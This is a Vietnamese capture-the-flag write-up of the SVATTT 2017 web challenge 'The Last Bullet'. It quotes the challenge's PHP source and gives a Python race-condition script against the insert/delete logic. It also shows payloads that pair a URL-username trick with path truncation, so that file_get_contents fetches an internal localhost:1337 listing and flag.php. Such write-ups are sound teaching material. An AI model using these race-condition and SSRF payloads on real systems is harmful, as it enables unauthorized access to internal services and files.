[SVATTT 2017] Writeup Web daemon: The Last Bullet
Challenge:
Một chút thính lúc vào game: robots.txt
User-agent: *
Disallow: /backkup-1337/
Gắp được ra 3 cái params insert
, access_key
và path
- Nếu không set param
insert
=> Select và hiện kết quả theoaccess_key
...
$access_key=mysql_real_escape_string($_GET['access_key']);
$sql = "SELECT url from local_bookmark where access_key='".$access_key."' order by id desc limit 1";
...
- Nếu set param
insert
=> Insert vào db dữ liệu lấy từaccess_key
vàpath
, ngay sau đó thì … delete ?? 😀 ??
$url = "http://tradahacking.vn".$path."/phiasaumotcogai.html";
$url = mysql_real_escape_string($url);
if(preg_match('/(#|\?|&)/i', $url))
{
exit('Bad words!');
}
$sql = "INSERT INTO local_bookmark (url, access_key) VALUES ('" .$url. "', '".$access_key."');";
...
include_once("delete.php");
Okay, select thì méo có gì để select rồi, insert thì bị delete ngay :v
Nhưng …
Ngay từ đầu khi đọc source, mình nhận thấy khá bất thường khi tác giả luôn đặt hàm connect, close db ở từng file, cộng thêm việc vừa insert vừa delete nhìn vội vler 😂 .
Ya, nó có mùi Race condition.
Code khai thác:
import thread
import time
import requests
import random
def exploit(access_key):
resp = requests.get("http://119.81.181.252/8d0943ff26c8d0cfe74924b9f8b87298/index.php?path=xxx&insert=1&access_key=xxxxx"
+str(access_key))
try:
ak = random.randint(1000000,9999999)
thread.start_new_thread( exploit, (ak,) )
thread.start_new_thread( exploit, (ak,) )
resp = requests.get("http://119.81.181.252/8d0943ff26c8d0cfe74924b9f8b87298/index.php?access_key=xxxxx"+str(ak))
print "http://119.81.181.252/8d0943ff26c8d0cfe74924b9f8b87298/index.php?access_key=xxxxx"+str(ak)
print resp.text
except:
print "Error: unable to start thread"
Insert được rồi, giờ sao?
Để ý một chút:
$url = "http://tradahacking.vn".$path."/phiasaumotcogai.html";
Đây là cái sẽ được cho vào DB, và rồi “bị” select ra, đẩy qua hàm file_get_contents
$sql = "SELECT url from local_bookmark where access_key='".$access_key."' order by id desc limit 1";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
// output data of each row
while($row = $result->fetch_assoc()) {
$bookmark = $row["url"];
//echo "Your Temporary bookmark is: " . $bookmark."<br>";//For harder version, my Ninjas ;)
echo "Ok, Ok !!! You win ;)";
}
}
echo file_get_contents($bookmark);
Tới lúc dùng tới hint của @g4mm4:
Local System:1337
Mình có thể biến cái $url
trên kia thành dạng như này:
http://tradahacking.vn:xyz@localhost:1337/phiasaumotcogai.html
Thay vì tradahacking.vn là domain thì nó sẽ bị chuyển thành username 😌
Nhưng giờ lại kẹt tiếp phát nữa, cái cần bây là directory listing của http://localhost:1337 chứ không phải http://localhost:1337/phiasaumotcogai.html
May thay trong lúc chưa ra cái hint local system:1337
(mà thực ra cái hint này nó có sẵn từ đầu trên title Web rồi
mà mình k để ý 😩), mình đã đẩy request trên kia về server riêng và fuzz linh tinh :v
119.81.181.252 - - [xx/Nov/2017 xx:xx:28] "GET /./././../../././././././././././././././/../././/phiasa HTTP/1.0" 404 -
À há, path truncation. Do giới hạn số ký tự của field url trong db.
Nhiệm vụ bây giờ chỉ là đẩy request về server riêng, truncate cho vừa đủ hết cái file html kia, xong thay lại localhost:1337 vào (cho đỡ nhầm lẫn 😥)
index.php?path=:xyz@localhost:1337/.//./././../../././././././././././././././/.././././././&insert=1&access_key=xxxxx
Get flag.php
index.php?path=:wtf@localhost:1337/./././././././././././././././././././././././././flag.php&insert=1&access_key=xxxxx